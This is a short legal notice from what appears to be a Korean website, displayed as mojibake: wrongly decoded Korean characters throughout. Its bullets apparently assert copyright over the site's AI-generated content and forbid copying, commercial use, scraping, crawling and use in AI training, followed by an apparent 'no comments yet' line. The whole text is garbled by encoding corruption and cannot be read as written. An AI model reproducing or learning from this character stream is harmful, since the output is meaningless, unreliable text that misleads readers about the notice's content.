- AI ์์ฑ ์ปจํ ์ธ ์ ๋ฒ์ ์ง์: ๋ณธ AI ์์ฑ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ์ง์ ์ฐฝ์๋ฌผ๋ก ์ธ์ ๋๋ฉฐ, ๊ด๋ จ ๋ฒ๊ท์ ๋ฐ๋ผ ์ ์๊ถ ๋ณดํธ๋ฅผ ๋ฐ์ต๋๋ค.
- ์ฌ์ฉ ์ ํ: ์ฌ๋ฅ๋ท์ ๋ช ์์ ์๋ฉด ๋์ ์์ด ๋ณธ ์ปจํ ์ธ ๋ฅผ ๋ณต์ , ์์ , ๋ฐฐํฌ, ๋๋ ์์ ์ ์ผ๋ก ํ์ฉํ๋ ํ์๋ ์๊ฒฉํ ๊ธ์ง๋ฉ๋๋ค.
- ๋ฐ์ดํฐ ์์ง ๊ธ์ง: ๋ณธ ์ปจํ ์ธ ์ ๋ํ ๋ฌด๋จ ์คํฌ๋ํ, ํฌ๋กค๋ง, ๋ฐ ์๋ํ๋ ๋ฐ์ดํฐ ์์ง์ ๋ฒ์ ์ ์ฌ์ ๋์์ด ๋ฉ๋๋ค.
- AI ํ์ต ์ ํ: ์ฌ๋ฅ๋ท์ AI ์์ฑ ์ปจํ ์ธ ๋ฅผ ํ AI ๋ชจ๋ธ ํ์ต์ ๋ฌด๋จ ์ฌ์ฉํ๋ ํ์๋ ๊ธ์ง๋๋ฉฐ, ์ด๋ ์ง์ ์ฌ์ฐ๊ถ ์นจํด๋ก ๊ฐ์ฃผ๋ฉ๋๋ค.
์์ง ๋๊ธ์ด ์์ต๋๋ค.